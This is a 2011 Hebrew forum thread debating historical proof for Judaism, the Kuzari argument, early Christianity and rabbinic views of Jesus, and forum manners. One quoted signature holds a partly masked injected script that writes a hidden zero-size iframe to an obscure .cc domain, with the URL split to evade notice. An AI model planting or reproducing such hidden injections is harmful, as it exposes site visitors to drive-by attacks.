|
|
| נשלח ב-15/12/2011 21:50 |
 |
| |
חיים
יש כאן כמה נושאים, וכולם מעניינים.
א. מה יכול להחשב כהוכחה היסטורית, בזמן הזה או בעבר, לנכונותה של דת?
ב. אלו דתות עומדות בקריטריון הזה? האם באמת יש הבדל בין היהדות לבין דתות אחרות, כפי שטוען ריה"ל בהכוזרי בדגם המוצלח לדעתי של מיון הוכחות היסטוריות לדתות?
ושאלה מסוג אחר לגמרי:
ג. על סמך מה חיים-ספק מאמין לגרסה היהודית אך דוחה גרסאות אחרות?
השאלה האחרונה יכולה להישאל בשני אופנים:
1. בירור פילוסופי, לוגי, מתודולוגי. מה ראוי לחשוב ועל פי מה ראוי לדון.
2. מה הן הסיבות הפסיכולוגיות והמערך הנפשי שבשלו אדם מקבל דת.
השאלה השניה היא חצופה למדי. היא מניחה שחיים-ספק כפוף לפסיכולוגיה שלו. אבל כיון שחיים-ספק בעצמו הודה שיתכן שהמניעים שלו הם פסיכולוגיים ולא פילוסופיים, יש מקום לדון בנושא, מה גם שייתכן (ופרזנט, ואלי ומי לא בעצם) טוענים שיש מסירות טבעית לדת השכונה.
איני מכיר מספיק את הכותב כדי להעיד על הפסיכולוגיה שלו (וקשה להאמין שניתן להעלות טענות לגבי נושא כה אישי גם מהיכרות יותר מעמיקה. כל מה שאדם יכול לטעון בהקשר זה, לדעתי, הוא שהוא חושד את עצמו שהוא פועל וחושב ומאמין באופן כזה. ולהציע שגם אחרים נוהגים כך, במודע או לא במודע. וזו אכן טענה שיש לעיין בה).
אבל אני גם סבור שאמונתנו, שלי ושל חיים-ספק ושל רבים כאן, אינה מבוססת ר-ק על הפסיכולוגיה שלנו.
כפי שכבר צויין, הנושא עלה באשכולות רבים, אלא שאין דרכי לדחות לאשכול אחר מה שאפשר להסביר וחשוב להסביר גם כאן. (מי יודע אם מי שמעיין כאן יגיע למקומות אחרים, ואפילו אם יהיה לינק, מי אומר שיטרח ללחוץ. והרי כאן הדברים מהוים דיון רציף, ולהיכנס למקום אחר באמצע... לא נוח).
קבלת הדת היהודית שנולדנו לתוכה אינה רק תוצאה של הרגל ומבנה פסיכולוגי. וגם אם יש בכך מן הפסיכולוגיה, זו פסיכולוגיה בריאה. אנו בנויים בדרך כלל בצורה כזו שאנו קובעים די מהר מה ראוי לבדיקה ומה לא. אם כי כמובן כל אדם ראוי שיעשה "מעשה דקארט" פעם בחייו=יבחן את כל אמונותיו וידרג אותן לפי המקור שלהן ואולי ינסה לתהות יותר על טיבן והוכחותיהן).
היהדות התורנית של היום מסתמכת על מערכת מורכבת ששרדה מן הזמן שאנו מייחסים לו את מתן תורה ועד היום. המסורת היהודית מכילה ודאי טעויות, אי דיוקים, וגם סיפורים מופלאים שקל לפקפק בהם. אבל כמדומה שהכלל הוא אמין, ומוכיח על יושר אינטלקטואלי, על מחוייבות לאמת, למוסר, על ערכים נעלים ואם יש סיפורים על כשלונות, אזי האם אין נוכחותם מעידה על כך שהמקורות אינם חסים על כבוד דמויות הדגם שלנו כאשר יש מקום לבקרם? האם אין זה תורם לאמון במקורות אם רואים שהם עוסקים בביקורת עצמית?
(לאלי וליתכן, ודאי היה ראוי לפרט יותר ממה שכתבתי. אילו הייתם יכולים לייצר עבורי זמן במתנה, הייתי יכול לקיים הבטחתי מפעם ולכתוב בנושא זה. וזה חייב לקחת זמן כי אין לי מחשבות מסודרות כראוי מספיק לשאלה כפי שהצגתם אותה).
***
הנושא של "המאור שבה מחזירו למוטב" ראוי לדיון מיוחד באשכול עצמאי. וגם כן לאחר הכנה מן המקורות.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
 |
|
|
|
|
| נשלח ב-15/12/2011 21:52 |
|
| |
כשמישהו כותב לי ***, אני בהחלט אכתוב שישמור את הומור *** שלו לעצמו. ההודעות נמחקו בצורה כלל לא מאוזנת כלל. אם הודעה זו תימחק, אני מצפה לראות את ההודעות העולבות בי נמחקות לחלוטין גם כן. מיימוני - עברתי את הגיל של להתעסק בשטויות האלה, ויש חיים גם מחוץ לעצכ"ח.
*** אתה מוזמן להצביע על הודעות עולבות בך או באחרים שלא נמחקו. ***
הק' מ'
תוקן על ידי עצכח ב- 15/12/2011 22:06:23
|
|
|
|
| נשלח ב-15/12/2011 21:55 |
|
| |
דינו
אני כותב לך כאן כי חשוב שיקראו אחרים את הדברים.
אף אחד מן המשתתפים כאן אינו כותב בלשון גסה בכוונה תחילה.
זה קורה במשהו כמו מדרון חלקלק.
ראובן כותב מה שנראה לו נכון ולאחרים שטויות.
שמעון מצביע על כך באופן הראוי בפורום. כלומר על ידי הערות ביקורתיות.
מתחיל דיון.
סבב הדיון הזה מתחיל לחזור על עצמו וגם יותר מאשר באשכול אחד.
לאחד הצדדים נמאס, ואז ניתן לקבל תגובות מהסוג של:
א. הגעתי למסקנה שאין טעם להסביר לך כי אינך מקשיב/מבין.
מי שאין לו הבנת הנקרא שלא יגיע לכאן.
ב. אתה מתעלם מקשיים בדבריך. אינך מדייק/אינך מציג טיעונים תקפים.
מי שאין לו יושר אינטלקטואלי שלא יגיע לכאן.
אחרי הערות אישיות כאלו, גם אם הכותב מאמין שהן צודקות, מעוררות כעס ומזמינות תגובה חריפה עוד יותר.
ואז צריך בעל הטיפקס לשלוף את טיפקסו ולבזבז את זמנו.
הצעה לסדר: השתכנעתם שאין מה לדבר עם פלוני בגלל שהוא אטום? מתוך ההודעה הארוכה שיש לכם לכתוב, השאירו רק את המילים: "איני יודע איך להסביר יותר את עמדתי". את השאר אל תכתבו (או תכתבו אבל תמחקו לאחר הכתיבה ואל תשלחו. זה מאד מועיל פסיכולוגית. וגם אני נוהג כן. באמת! (טוב, לעתים נדירות)).
אם רוצים המלצה, אז אפשר לסכם. אני אומר כך ואתה אומר כך. לשיטתי נוח ש... ולשיטתך קשה ש...
וזהו.
והפעם זהו.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-15/12/2011 21:56 |
|
| |
| thepresent כתב: |  | הם, והישראלים (הצפוניים), ורבים אחרים, 'לא קנו את הלוקש' והמשיכו בשלהם. (לדעתם כידוע הייתה ליהווה בת זוג בשם ענת, הי"ד. אולי זו שמה הפרטי של ה'אשרה' שהייתה לדעת אחרים בת זוגו של יהווה בכל מניפסטציה-אזורית שלו)
|
|
'לדעתם כידוע', העובדה שאולי זו הכוונה בשני טקסטים שאחד מהם בכלל מחוץ לתחומי ישראל, אינה מלמדת שהישראלים הצפוניים ורבים אחרים אחזו בשיטה וכו', לא כל יציאה של מישהו הופכת רטרואקטיבית למפלגה כיתה וחלק חשוב מהעם, כשם שלא כל כתובת גרפיטי תהווה עדות על חלק נכבד מהעם.
וגם אם היה אלהי ישראל נתפס בצורה פוליתאיסטית, אין זה נוגע כלל לשאלה על התגלותו. כשם שהיו שהגשימו אותו, היו כאלו ששיתפו אותו יחד עם אחרים, אפילו עובדי הבעל פסחו על שני הסעיפים.
|
|
|
|
| נשלח ב-15/12/2011 21:59 |
|
| |
דינו, "דעתו של פרעה בקשר למופתי ה', מושפעת כמובן מההשקפה האלילית, שכל אל יכול להראות את כחו במסגרות מסויימות. וכמובן שזה משאיר המון מקום לאלים המצרים לעזור לו כשירצה אותם באופן המתאים". ומכאן, דעתם של חז"ל בקשר למופתי ישו מושפעת מדעתם הקדומה ולכן יחסו אליו כישוף רחמנא ליצלן ולא נבואה חס ושלום. (הם כנראה לא העזו לפקפק בזמן אמת בניסים גלויים שהתרחשו לעיני אלפים). "אני גם יכול לטעון שהעובדה שחרדים בשנות האלפיים משפילים נשים מוכיחה שהם לא מאמינים בתורה ובה' וכו'". אם כבר, זו הוכחה כי הם מאמינים בתורה מן השמים ושלא תהא מוחלפת כפשוטו.
|
|
|
|
| נשלח ב-15/12/2011 22:00 |
|
| |
| מיימוני כתב: | | דינו
אני כותב לך כאן כי חשוב שיקראו אחרים את הדברים.
אף אחד מן המשתתפים כאן אינו כותב בלשון גסה בכוונה תחילה.
זה קורה במשהו כמו מדרון חלקלק.
..
וכו'
_________________ שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
אתה צודק, אתה מתאר בדיוק את מה שקורה, מי שרוצה דוגמא חיה יכול לקרוא את האשכול דרכי הסקת מסקנות מתיעוד על מציאות, ולהתרשם מהצורה בה המדרון מתגלגל.
***
תוקן ביטוי שבאמת יש בו טעם לפגם ותודה למעיר.
תוקן על ידי עצכח ב- 15/12/2011 22:47:27
|
|
|
|
| נשלח ב-15/12/2011 22:05 |
|
| |
ייתכן
ניתן כמובן לטעון שכל הסביבה התרבותית בארץ (שלא היתה בכלל רק חז"ל.. הצדוקים, הקנאים, האיסיים, הכתות למיניהן, המון העם) עשתה קונספירציה נגד ישו מתוך דעה קדומה. למרות שישו לא סתר שום דעה מסורתית והודיע שלא משנה מן התורה כלום, הוא בסך הכל התיימר (ברמז, סטייל הרבי מחב"ד) להיות המשיח שכל היהודים מחכים לו, להטיף לצדקנות ולעשות נסים. אבל ברגע שמישהו יטען לקונספירציה כזו, נסתמה הדרך בפנינו לברר ולשחזר את האמת, כי אם מי שחי שם לא יכל לעמוד על הרמאות והשתכנע, איך בדיוק אנחנו מכאן נברר מה שהיה.
הנסים של ישו הם מופתי במה, ו'בפני אלפים' זה משהו כמו הנסים של אמנון יצחק. נא לא להשוות למשהו שנעשה בפני עם שלם במשך זמנים ארוכים והיו לו השלכות עצומות.
את הנושא של השפלת נשים נשמור לפעם אחרת..
|
|
|
|
| נשלח ב-15/12/2011 22:05 |
|
| |
| דינוזאורוס כתב: | | פרזנט כמובן שהיו יהודים שהלכו אחרי ישוע, כמו שהיו יהודים בהרבה כתות תמהוניות, הברית החדשה אומרת ש'כל אנשי ירושלים' היו כך וכך, כמו שהברסלבים טוענים ש'כולם ברסלב רק שהם לא יודעים את זה'. ההליכה אחר הנצרות לא מתוארת אפילו כבעיה בכתבים של חז"ל מאותה תקופה. כמשהו שסוחף אנשים, כמשהו שמאיים כמו הצדוקים, באותו הזמן הוא היה סתם כלום.
|
|
well...
טכנית, אני לא בטוח שאתה צודק. יכול מאוד להיות שהיהודים הישועים היו קבוצה גדולה וחשובה, בטרם הספציאציה בין הדתות.
עובדה שנתקנה נגדם ברכת המינים ('ולמינים אל תהי תקווה'). אם היה מדובר בקבוצת שוליים חסרת השפעה, לא היה צורך בברכה כזו.
יש היסטוריון בקהל?
ממה נפשך:
אם התיעוד בברית החדשה על אנשי ירושלים הוא אמיתי (ומדוע לא? למה שלא יתרשמו מאיש רוח מדהים, עם קבוצת יחצ"נים, שאולי עשה קצת מיסטיקה?), מ.ש.ל.
אם התיעוד בברית החדשה לא אמיתי, זה רק מראה כמה בקלות אפשר להכליל מקבוצה קטנה על כל העולם. ואם הישועים עשו זאת במאה הראשונה לספירה בתרבות אוריינית (אולי במקום אחר, אבל מקום שגם הוא חלק אחר מהאימפריה ויש תקשורת בין המדינות), סביר שהמשה-ים יכלו לעשות זאת לגבי כמה עשרות/מאות שנים אחורה בתרבות לא אוריינית וחסרת תקשורת. או אולי אפילו לכתוב זאת בזמן התרחשות המאורעות המדוברים, על דרך הברסלב (במאה ה21!) שציינת (אחחח... אני אוהב שאתה יורה לעצמך ברגל...). והספר נשאר, וכשלאחר כמה מאות שנים התעצם כוחם של הברסלבערס-מֹשֶהים, הם יכלו להחדיר את הרעיון שהספר מתעד תיעוד מדויק ומדעי, שכן כתוב במפורש בספר שהיה בן התקופה ושכך היה... ומכאן פתוחה הדרך ל'הוכחת הכוזרי'.
|
|
|
|
| נשלח ב-15/12/2011 22:05 |
|
| |
הרב מיימוני, מהי משמעות אמונה של מי שאומר, בכנות ראויה לציון, כי "אין לי מחשבות מסודרות כראוי מספיק לשאלה כפי שהצגתם אותה". מדובר בשאלות פשוטות ובסיסיות ביותר, והנשאל הוא מי שמהודעותיו בפורום ניתן להתרשם כי אין דעתו קצרה כלל וכלל.
|
|
|
|
| נשלח ב-15/12/2011 22:09 |
|
| |
דינו, הצבעתי על כך שחז"ל נאלצו לטעון טענת כישוף (שזה אומר, נכון, המופתים היו גם היו, אך אין למדין הלכה מן הכישוף. פרשנות אמרנו?) ולא טענו להד"ם.
תוקן על ידי ייתכן ב- 15/12/2011 22:10:23
|
|
|
|
| נשלח ב-15/12/2011 22:13 |
|
| |
פרזנט
ברכת המינים נתקנה ביבנה לפחות מאה שנים אחרי צליבתו של ישוע, זה אכן הזמן בו המינים התחילו להתעורר.
לא יודע איך מגדירים קבוצה גדולה וחשובה, האם ברסלב הם לא קבוצה גדולה וחשובה? השאלה איך רוב האנשים התייחסו אליהם. גם מיעוט של פחות מאחוז מהעם זה הרבה מאד אנשים.
ישוע לא הובא לירושלים כאיש רוח אלא בשלשלאות כאסירו של הנציב פילטוס. כמובן שהכל יכול להיות, אבל השתיקה בהחלט אומרת הרבה.
התיעוד בברית החדשה לא צריך להיות 'לא אמיתי', כל השאלה היא אם הוא תיאר לעם מציאות בזמן המאורעות, כשחיו ונשמו את מה שקורה, או שאחרי שהבית נחרב, וירושלים הוגלתה, וכל המוסדות התפוררו, באו וסיפרו סיפורים על עולמות שחרבו. בהם אפשר לכתוב בלי בעיה ש'כל ירושלים חרדה ורעשה', בדיוק כמו שכותבים בעיתון על התרגשות עצומה חיל ורעדה בכנס חלוקת מלגות לבעלי פרוטקציות בישוב פלוני.
הוכחת הכוזרי לא מתחילה מבלי שלפחות טוענים העם רובו ככולו קיבל את הדברים וחי על פיהם מיד מהמאורעות, אם לא טוענים כך, הכל יכול להיות אבל הוכחה אין.
|
|
|
|
| נשלח ב-15/12/2011 22:13 |
|
| |
| דינוזאורוס כתב: | |
פוגמישו
'התנאים נתנו את לבם', מה שאמרו עליו התנאים הוא שכישף והסית והדיח ונידון למיתה על ידי בית דין. זה מה שחשבו עליו החכמים באותו דור, וזה בדיוק מה שאמרתי. שלא ראו אותו כגורם בעל טיעון להיות נביא / קדוש / משיח אלא כתמהוני שחייב מיתה. ולא הבנתי מה אומרים הזיהויים של חמשת תלמידי ישוע כאלו או אחרים. |
|
פשוט חשבתי שהתכוונת שאין מספיק ביסוס לראשיתה של הנצרות... לכן כתבתי מה שכתבתי; אגב, ראה מה עשו בויקיפדיה ערך "העדות הפלוויאנית"...
|
|
|
|
| נשלח ב-15/12/2011 22:14 |
|
| |
יתכן
הנושא אינו אני כאן באשכול הזה, והייתי זקוק להתנצל.
אך כיון שנתתי מקום לאי הבנה, אסביר.
רוב הדברים שאני כותב מהר (וברור, אני מקוה) הם כאלו שחשבתי עליהם וניסחתי אותם לעצמי.
יש נושאים שיש לי בהם ידיעות וטיעונים, אבל לא אירגנתי אותם למסכת שיטתית ובוודאי שלא ניסחתי אותם לעצמי בצורה מסודרת. יש לי פסיפס שעליו אני סומך, אבל חסר לי הסיכום והניסוח. אבל חסרון זה אינו מהווה בעיני סימן לטעות, כיון שכל טיעון בפני עצמו שריר וקיים.
כמובן, להביא דברים בפני אחרים הוא דרך טובה מאד לבדוק ולראות אם אני צודק. ולכן ראוי לעשות זאת. אבל מה שהלב והשכל חושק הזמן עושק וכו'.
(מה שכתבתי כאן הוא גם כן מסודר מאד לעצמי, לדוגמא. כלומר, מדוע ומתי אני סומך על מה שלמדתי ואני יודע או חושב שאני יודע).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-15/12/2011 22:15 |
|
| |
ייתכן
חז"ל לא טענו כישוף כדי להסביר משהו שהוא עשה, אלא כדי להאשים אותו בעברה שהיה מגיע לו למות עליה..
אתה הרי יודע כמה סיפורים על כישוף יש בחז"ל, לפי המתואר כל פרסי שלישי היה מכניס בכיס הקטן את אורי גלר ודיויד קופרפילד, אף אחד לא היה צריך לתרץ כישוף במקום להד"ם וכו' אני לא בטוח שחז"ל בכלל ידעו על אלו נסים מסופר בברית החדשה. ולא היתה להם בעיה עם לטעון להד"ם או לא להד"ם, הם לא ספרו את ישו וטיעוניו לדיון. ואם היתה לנצרות השפעה כמו הצדוקים, היינו שומעים על הויכוחים הגדולים ועל התשובות הניצחות ועל החג שעשו לזכר הנצחון וכו' הכל כמו אצל הצדוקים.
יש השפעות להתעצמות הנצרות, אבל בתקופה שזו קרתה, ולא בשנים בהם חי ופעל ישו או השנים הסמוכות להן. בשנים אלו מדובר רבות על הצדוקים והקנאים ולא על הנצרות.
תוקן על ידי דינוזאורוס ב- 15/12/2011 22:19:19
|
|
|
|
|
| נשלח ב-15/12/2011 22:17 |
|
| |
| דינוזאורוס כתב: | | הם, והישראלים (הצפוניים), ורבים אחרים, 'לא קנו את הלוקש' והמשיכו בשלהם. (לדעתם כידוע הייתה ליהווה בת זוג בשם ענת, הי"ד. אולי זו שמה הפרטי של ה'אשרה' שהייתה לדעת אחרים בת זוגו של יהווה בכל מניפסטציה-אזורית שלו)
'לדעתם כידוע', העובדה שאולי זו הכוונה בשני טקסטים שאחד מהם בכלל מחוץ לתחומי ישראל, אינה מלמדת שהישראלים הצפוניים ורבים אחרים אחזו בשיטה וכו', לא כל יציאה של מישהו הופכת רטרואקטיבית למפלגה כיתה וחלק חשוב מהעם, כשם שלא כל כתובת גרפיטי תהווה עדות על חלק נכבד מהעם.
וגם אם היה אלהי ישראל נתפס בצורה פוליתאיסטית, אין זה נוגע כלל לשאלה על התגלותו. כשם שהיו שהגשימו אותו, היו כאלו ששיתפו אותו יחד עם אחרים, אפילו עובדי הבעל פסחו על שני הסעיפים. |
|
לא נראה שהם שמעו על משה ועל הדיבר 'לא יהיה לך אלוהים אחרים על פני'. הם רואים זאת כרפורמה 'חדש אסור מן התורה'.
ואפילו נאמר שאין מכאן ראיה פוזיטיבית לכך שהם לא הכירו את הנראטיב המקראי, מכל מקום יש כאן הפרכה של הרעיון שכולם קיבלו. לא כולם קיבלו. ויתכן שאלו שלא קיבלו את המונותאיזם, ו(מה שנקרא בעגה הישיבתית-) 'לא היו בַּפַּרשֶׁה' (במלעיל), לא הכירו גם את הנראטיב התנ"כי, או שטענו שמדובר בהגזמות פרועות או בפיקציה - בקיצור, בשטויות במיץ.
הטענה ש X או Y אינו חלק מבני ישראל כי נראה שאין הוא מכיר את החומר המדובר או שהוא ירד לחו"ל, היא מעגלית. כמובן שניתן לטעון זאת גם לגבי עזרא ונחמיה והעם בהנהגתם.
וזה עוד אחרי הצנזורה המקראית. ברור שהיו עוד קולות שהמקרא לא מביא (כשם שבלעדי רחל אליאור היינו עוד עלולים לחשוב שהצדוקים הם כת שולית ואזוטרית של כוייפרים להכעיס שנקראו על שם אדם אלמוני בשם צדוק, שקם אאוט אוף דה בלו בסוף תקופת הבית השני והחליט לכפור במסורת חז"ל סבא הנהוגה והמוכרת מדורי דורות, כפי שמתארים זאת הפרושים, ולא מייצגי המסורת הכהנית העתיקה trace back לתקופת דוד ושלמה). כל שאני אומר הוא שאפילו מהעדות המקראית ברור כי לא כולם (ואף לא רובם, והרבה פחות מכך) השתתפו בחגיגה והכירו את התורה שלפנינו /האמינו בה / ראו אותה כמחייבת, עד לפחות כמה עשרות שנים לתוך ימי הבית השני.
תוקן על ידי thepresent ב- 15/12/2011 22:22:33
|
|
|
|
|
